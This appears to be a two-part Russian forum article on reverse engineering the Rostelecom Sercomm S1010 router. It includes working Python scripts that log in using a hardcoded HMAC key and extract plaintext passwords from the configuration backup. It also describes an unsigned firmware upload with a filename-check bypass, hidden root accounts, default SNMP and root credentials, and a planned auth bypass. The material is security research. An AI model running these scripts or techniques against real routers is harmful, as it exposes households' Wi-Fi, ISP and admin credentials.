← все статьи
Реверс роутера Ростелеком Sercomm S1010
Утечка конфига, дамп прошивки, разбор rootfs и скрытые логины
Всем привет 👋
Сегодня я расскажу, как я зареверсил свой роутер от Ростелекома Sercomm S1010. ДА, я вкурсе, что в интернете про реверс этого роутера есть много статей, но они в основном поверхностные. Я решил сделать все сам и показать что реально можно найти в устройстве, которое стоит у миллионов людей в квартирах
Спойлер
Чтобы вы понимали что я выделяю на скринах:
Красным - Самое главное: пароли, креды, уязвимости, результаты эксплуатации
Желтым - второе: логины, URL, версии, служебные данные
Синим - детали: захардкоженные строки, флаги шифрования, подписи
Спойлер
Начну с того, что за устройство и как я его нашел в сети
Спойлер
Спойлер
Тут начинается самое интересное. Веб роутера самописный, с багами
Спойлер
Если отправить запрос без браузерных заголовков, сервер отвечает мусором
Красным обведен баг (null) 400 Bad Request статус начинается с полного мусора. Желтым - заголовок Prama, эт опечатка Pragma. Синим подчеркнут пустой Server:, тоесть сервер не представляется. Все это признаки старого самописного движка
Красным обведен баг (null) 400 Bad Request статус начинается с полного мусора. Желтым - заголовок Prama, эт опечатка Pragma. Синим подчеркнут пустой Server:, тоесть сервер не представляется. Все это признаки старого самописного движкаСпойлер
Схема входа в JS использует HMAC-SHA256 с ключом $1$SERCOMM$, который захардкожен для всех. Авторизация - challenge-response, но эт никак не спасает. Я сделал логин на пайтон и вошел


Красным обведены csrf_token и encryption_key - без них логин не сделать. Желтым успешный ответ login response: "1". Синим подчеркнут session_id, эт куки сессии
Вот код который я написал для автоматизации входа:
code
#!/usr/bin/env python3
import re, sys, hmac, hashlib, http.cookiejar, urllib.request, urllib.parse, os
HOST = sys.argv[1] if len(sys.argv) > 1 else '192.168.0.1'
USER = sys.argv[2] if len(sys.argv) > 2 else 'admin'
PASS = sys.argv[3] if len(sys.argv) > 3 else '***'
BASE = f'http://{HOST}'
ARTIFACTS = '/root/router/artifacts'
os.makedirs(ARTIFACTS, exist_ok=True)
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
UA = ('Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36')
HDRS = {
'User-Agent': UA,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'identity',
'Connection': 'close',
}
def save(name, content):
path = os.path.join(ARTIFACTS, name)
with open(path, 'w', encoding='utf-8', errors='replace') as f:
f.write(content)
print(f'[+] saved {name}')
def get(url, save_as=None):
r = op.open(urllib.request.Request(url, headers=HDRS), timeout=10)
content = r.read().decode('latin1')
if save_as:
save(save_as, content)
return content
def post(url, data, save_as=None):
h = dict(HDRS)
h['Content-Type'] = 'application/x-www-form-urlencoded'
req = urllib.request.Request(url, data=data.encode(), headers=h)
r = op.open(req, timeout=10)
content = r.read().decode('latin1')
if save_as:
save(save_as, content)
return content
html = get(f'{BASE}/login.html', save_as='login.html')
m = re.search(r"csrf_token = '([^']+)'", html)
csrf = m.group(1)
print(f'[+] csrf_token = {csrf}')
j = get(f'{BASE}/data/user_lang.json?csrf_token={csrf}', save_as='user_lang.json')
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print(f'[+] encryption_key = {enc}')
h1 = hmac.new(b'$1$SERCOMM$', PASS.encode('utf-8'), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
uname = urllib.parse.quote(urllib.parse.quote(USER, safe=''), safe='')
body = f'LoginName={uname}&LoginPWD={pwd}'
print(f'[+] hash1 = {h1}')
print(f'[+] LoginPWD = {pwd}')
url = f'{BASE}/data/login.json?_={urllib.parse.quote("0.0")}&csrf_token={csrf}'
resp = post(url, body, save_as='login_response.txt')
print(f'[+] login response: {resp!r}')
print('[+] cookies:', [(c.name, c.value) for c in cj])
Что делает скрипт:
1. Скачивает с роутера login.html (GET /login.html), сохраняет его в папку artifacts и вытаскивает из него csrf_token
2. Скачивает с роутера user_lang.json (GET /data/user_lang.json), сохраняет в artifacts и получает encryption_key
3. Считает первый HMAC: hash1 = HMAC_SHA256('$1$SERCOMM$', password) - ключ захардкожен в JS
4. Считает второй HMAC: LoginPWD = HMAC_SHA256(encryption_key, hash1) - итоговый пароль для отправки
5. Логинится на роутер через POST /data/login.json с посчитанным LoginPWD
6. Получает ответ "1" и куку session_id
Скрипт принимает три аргумента: хост, логин, пароль. Если не указать - то будет брать дефолтные значения. Все запросы сохраняются в папку /root/router/artifacts/ для дальнейшего анализа
Спойлер
А теперь то, ради чего все делалось
Спойлер
В JS нашелся флоу бэкапа. Сначала POST, потом скачивание. Файл начинается с 4-байтного префикса и zlib-потока. После распаковки - 27399 байт XML с полным TR-069 DataModel. И там все секреты в открытом виде
Чтобы автоматизировать этот процесс от логина до слива секретов, я написал скрипт на пайтон:
Чтобы автоматизировать этот процесс от логина до слива секретов, я написал скрипт на пайтон:code
#!/usr/bin/env python3
import re, hmac, hashlib, http.cookiejar, urllib.request, time, zlib, struct
BASE = 'http://192.168.0.1'
USER = 'admin'
PASS = '***'
UA = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120 Safari/537.36'
H = {
'User-Agent': UA,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'identity',
'Connection': 'close',
}
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
# 1. login.html -> csrf
h = op.open(urllib.request.Request(BASE + '/login.html', headers=H)).read().decode('latin1')
csrf = re.search(r"csrf_token = '([^']+)'", h).group(1)
print('csrf_token =', csrf)
# 2. encryption_key
j = op.open(urllib.request.Request(
BASE + f'/data/user_lang.json?csrf_token={csrf}',
headers={**H, 'Referer': BASE + '/login.html'}
)).read().decode()
enc = re.search(r'"encryption_key":\s*"([^"]+)"', j).group(1)
print('encryption_key =', enc)
# 3. Loginpwd
h1 = hmac.new(b'$1$SERCOMM$', PASS.encode(), hashlib.sha256).hexdigest()
pwd = hmac.new(enc.encode(), h1.encode(), hashlib.sha256).hexdigest()
print('LoginPWD =', pwd)
# 4. login
body = f'LoginName={USER}&LoginPWD={pwd}'.encode()
req = urllib.request.Request(
BASE + f'/data/login.json?csrf_token={csrf}',
data=body,
headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
'Referer': BASE + '/login.html'}
)
r = op.open(req).read()
print('login response =', r)
# 5. используем тот же csrf, что и при логине
print('using same csrf_token =', csrf)
# 6. post для бэкапа
ts = int(time.time() * 1000)
body = b'ConfigurationSaveType=user_computer'
req = urllib.request.Request(
BASE + f'/data/settings_configuration.json?_={ts}&csrf_token={csrf}',
data=body,
headers={**H, 'Content-Type': 'application/x-www-form-urlencoded',
'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('POST response =', r)
# 7. get скачивание
ts = int(time.time() * 1000)
req = urllib.request.Request(
BASE + f'/settings_page/configurationBackup.cfg?_={ts}&csrf_token={csrf}',
headers={**H, 'Referer': BASE + '/settings_configuration.html'}
)
r = op.open(req).read()
print('downloaded bytes =', len(r))
open('configurationBackup.cfg', 'wb').write(r)
# 8. распоковка
declared = struct.unpack('<I', r[:4])[0]
print('declared length =', declared)
xml = zlib.decompress(r[4:])
open('configurationBackup.xml', 'wb').write(xml)
print('XML size =', len(xml))
# 9. секреты
print()
for line in xml.decode('utf-8', errors='replace').split('\n'):
if any(x in line for x in ['Password', 'KeyPassphrase', 'ConnectionRequest', 'Username', 'CustomPassword']):
print(line.strip())Что делает скрипт:
1. Забирает login.html и вытаскивает из него csrf_token
2. Запрашивает user_lang.json и получает encryption_key
3. Считает LoginPWD через HMAC-SHA256 с захардкоженным ключом $1$SERCOMM$ и encryption_key
4. Логинится на роутер, получает сессионную куку
5. Отправляет POST с ConfigurationSaveType=user_computer - эт генерирует бэкап
6. Скачивает configurationBackup.cfg (2846 байт)
7. Распаковывает zlib-поток и получает XML на 27399 байт
8. Фильтрует строки с секретами и выводит их
На скрине видно все от логина до секретов. Красным обведены login response = "1", POST response = 1, downloaded bytes = 2846 и сами пароли. Желтым - CSRF, encryption_key, URL и логины. Синим - флаги encryption="1" password="1", которые должны были зашифровать поля, но не зашифровали
Спойлер
Помимо главной находки, есть еще несколько интересных моментов
Спойлер
Сертификат HTTPS - дефолтный из SDK, RSA-1024/SHA1, self-signed, просрочен. Красным обведены Signature Algorithm: sha1WithRSAEncryption и Public-Key: (1024 bit). Желтым - O=Mini Webservice Ltd (дефолтный вендор). Синим - даты 2016 и 2026, сертификат просрочен
TLS-стек устройства сломан - рукопожатие падает с ошибкой. То есть HTTPS на роутере просто простая декорация.
TLS-стек устройства сломан - рукопожатие падает с ошибкой. То есть HTTPS на роутере просто простая декорация.Спойлер
Спойлер
Всего 6 уязвимостей:
High - Plaintext-экспорт всех секретов в бэкапе. Поля с флагом encryption="1" password="1" должны быть зашифрованы, но при экспорте выгружаются в открытом виде
High - TR-069 CWMP: Digest MD5 + креды утекают в бэкапе. Порт 7547 открыт, аутентификация на MD5, а логин и пароль лежат в том же бэкапе
Medium - Слабый TLS-сертификат RSA-1024/SHA1. Дефолтный сертификат из SDK, self-signed, просрочен, одинаковый на всех устройствах
Medium - Управление по HTTP без TLS. Веб-панель работает по HTTP, HTTPS не работает из-за сломанного TLS-стека
Medium - Устаревший MiniUPnPd 1.8 + UPnP без аутентификации. Любой хост в LAN может создавать пробросы портов и читать всю WAN-статистику
Medium - Слишком хрупкий веб. Однопоточный сервер, рвет соединения на простых запросах, падает от сканеров
Немного покопавшись в своем роутере, я нашел 6 уязвимостей и слив всех паролей в открытом виде. Устройство стоит у миллионов людей дома, и практически никто не знает что внутри. Но это еще не все. Вскором времени выпущу вторую часть она будет довольно длинной. Там будет подробный гайд как выкачать прошивку самому. А потом и сам разбор прошивки: strings, Ghidra, поиск хардкод-кредов, скрытых аккаунтов и бэкдоров уже в бинарниках. Плюс разбор JS веб - как искал эндпоинты, как вытаскивал схему логина, как нашел флоу бэкапа
Если есть вопросы - пишите в тему) :amura:
Всех приветствую в данной статье. Буду рад каждому читателю ✌️
Это вторая часть про роутер Ростелеком (а именно Sercomm S1010). Первая часть была про веб и утечку конфига бэкапа (где были все пароли, данные и т.д). В этой части, будет про прошивку, а именно как снять дамп, разобрать rootfs, вскрыть бинарникик (strings + Ghidra + ассемблер) и еще найти скрытые логины и вендорские приколюхи. Уязвимости (обход авторизации, TR-069, root RCE) будут в третьей части
Спойлер
Красный - результат, данные, пути бэкдоров
Желтый - имена, разделы, версии, команды
Синий - хардкод-строки, соль, флаги, пути
Спойлер
За брендом Ростелекома скрыт OEM роутер от Sercomm. UPnP сам представляется, MAC и порт OpenWrt это подтверждают
Красным выделено 7547 (CWMP) и 49152 (UPnP) наружу. Желтым 22/23 (коотрый файрвол режет). Синим OUI DWnet и интересный скрытый дебаг порт 5916
Красным manufacturer=SERCOMM, modelName=S1010, серийник и айпишник. Без авторизации
КРасным RSA-1024/SHA1 и он оказывается просроченным. Желтым дефолтный O=Mini Webservice Ltd из SDK. Сертификат и ключ зашит в образ
Красным выделено 7547 (CWMP) и 49152 (UPnP) наружу. Желтым 22/23 (коотрый файрвол режет). Синим OUI DWnet и интересный скрытый дебаг порт 5916
Красным manufacturer=SERCOMM, modelName=S1010, серийник и айпишник. Без авторизации
КРасным RSA-1024/SHA1 и он оказывается просроченным. Желтым дефолтный O=Mini Webservice Ltd из SDK. Сертификат и ключ зашит в образСпойлер
Два способа. Первый через рут шелл (как его получить - в третьей части либо через бэкдор из первой части): читаем разделы флеш. Стоковый busybox не умеет использовать команду dd, поэтому юзаем cat. Разметка cat /proc/mtd
Красным uid 0, размер дампа, md5. Желтым mtd8 RootFS2. Синим команда. Полный дамп 16 МБ снимается из OpenWrt (/dev/mtd0 там = весь флеш). Загрузчик остается все также открытым
Синим U-Boot 1.1.3, красным флаги слотов Sercomm0/Sercomm1, желтым bootcmd=tftp
Второй способ (тот спосоБ, которым я воспользовался) штатный upload.cgi не проверяет подпись образа поэтому заливаем OpenWrt в ОЗУ, снимаем все mtd, возвращаем сток переключением флага. Прикол с именем файла (JS проверяет второй элемент результата file_name.split('.'), а не последнее расширение файла) описан в JS:
Красным uid 0, размер дампа, md5. Желтым mtd8 RootFS2. Синим команда. Полный дамп 16 МБ снимается из OpenWrt (/dev/mtd0 там = весь флеш). Загрузчик остается все также открытым
Синим U-Boot 1.1.3, красным флаги слотов Sercomm0/Sercomm1, желтым bootcmd=tftp
Второй способ (тот спосоБ, которым я воспользовался) штатный upload.cgi не проверяет подпись образа поэтому заливаем OpenWrt в ОЗУ, снимаем все mtd, возвращаем сток переключением флага. Прикол с именем файла (JS проверяет второй элемент результата file_name.split('.'), а не последнее расширение файла) описан в JS:
Красным - `file_name.split('.')`/`tmp_name[1]`, желтым - `upload.cgi` и `'img'`. Распаковка: `unsquashfs -d rootfs_stock rootfs2.bin`
Спойлер
Пароли от CLI/SSH/telnet лежат в /var/cli_pw (tmpfs), а не в /etc/shadow
Красным superadmin:...:0:0:Root:/:/bin/sh (uid 0) и cron для него, синим соль $1$SERCOMM$. Желтым обычный admin (uid 1001)
Здесь же видно само имя: superadmin в default.xml и запись в /var/cli_pw. Соль хэша фиксированный и одинаковый - одинаковые пароли дают одинаковые хэши, плюс можно генерировать свои записи при записи в файл
root/root в /etc/shadow (красным совпадение с openssl passwd), PermitRootLogin yes/PermitEmptyPasswords yes. Это insecure default + статический пароль
Инициализация и путь сборки:
Красным LISTEN на :::22`/`:::23 при SSHLANAccess=deny. Тоесть deny, ток правило iptables, сам демон живой. Желтым значения ACL
Красным FIFO сmd_agent (читается и исполняется через system();) и world-writable сокет bud (0777). Желтым права
/tmp/sal/misc.sal: заводские данные, Wi-Fi PSK (красным) и per-IP csrf_token/session_id/login_key (синим). Хранится открыто в /tmp
Зашитый WPS PIN (красным) и строки другого оператора (Beeline), синим mtk_beeline_multiroom
Постоянный syslog хранит фулл историю логинов. Красным success, желтым failed, синим hostname
Дефолты: superadmin, SNMP RW-community 4rEAd&wrItE (красным), заводской DevicePassword и ACS acs.rt.ru (желтым). SNMP - insecure default (выключенный по дефолту)
Красным superadmin:...:0:0:Root:/:/bin/sh (uid 0) и cron для него, синим соль $1$SERCOMM$. Желтым обычный admin (uid 1001)
Здесь же видно само имя: superadmin в default.xml и запись в /var/cli_pw. Соль хэша фиксированный и одинаковый - одинаковые пароли дают одинаковые хэши, плюс можно генерировать свои записи при записи в файл
root/root в /etc/shadow (красным совпадение с openssl passwd), PermitRootLogin yes/PermitEmptyPasswords yes. Это insecure default + статический пароль
Инициализация и путь сборки:
Красным LISTEN на :::22`/`:::23 при SSHLANAccess=deny. Тоесть deny, ток правило iptables, сам демон живой. Желтым значения ACL
Красным FIFO сmd_agent (читается и исполняется через system();) и world-writable сокет bud (0777). Желтым права
/tmp/sal/misc.sal: заводские данные, Wi-Fi PSK (красным) и per-IP csrf_token/session_id/login_key (синим). Хранится открыто в /tmp
Зашитый WPS PIN (красным) и строки другого оператора (Beeline), синим mtk_beeline_multiroom
Постоянный syslog хранит фулл историю логинов. Красным success, желтым failed, синим hostname
Дефолты: superadmin, SNMP RW-community 4rEAd&wrItE (красным), заводской DevicePassword и ACS acs.rt.ru (желтым). SNMP - insecure default (выключенный по дефолту)Спойлер
Многие бинарники не стрипнуты. Классы Scalar/страницы показывают, как устроен веб:
Желтым id полей (ssh_lan, ConfigurationSaveType). Клиентский filterInvalidString обходится простым прямым POST
Фрагмент auth_check в mini_httpd: ветка с strstr(url,"activation") (синим) и переход на auth OK (красным). Разбор и использование будет в третьей части
sc_cli: команда sh (красным) и пасхалочка I don't hope be executed by shell (синим)
Желтым id полей (ssh_lan, ConfigurationSaveType). Клиентский filterInvalidString обходится простым прямым POST
Фрагмент auth_check в mini_httpd: ветка с strstr(url,"activation") (синим) и переход на auth OK (красным). Разбор и использование будет в третьей части
sc_cli: команда sh (красным) и пасхалочка I don't hope be executed by shell (синим)
librcl.so насильно зашивает DROP для 5916 и UDP набора (красным). Слушателя для них в сборке нет
Тестовый URL в cwmp_stun (желтым) и ляпы mini_httpd: (null) 400 и опечатка Prama (красным)
В третьей будет как из этого получается обход авторизации и root RCE
Если есть вопросы/нужны уточнения - пишите) :amura:





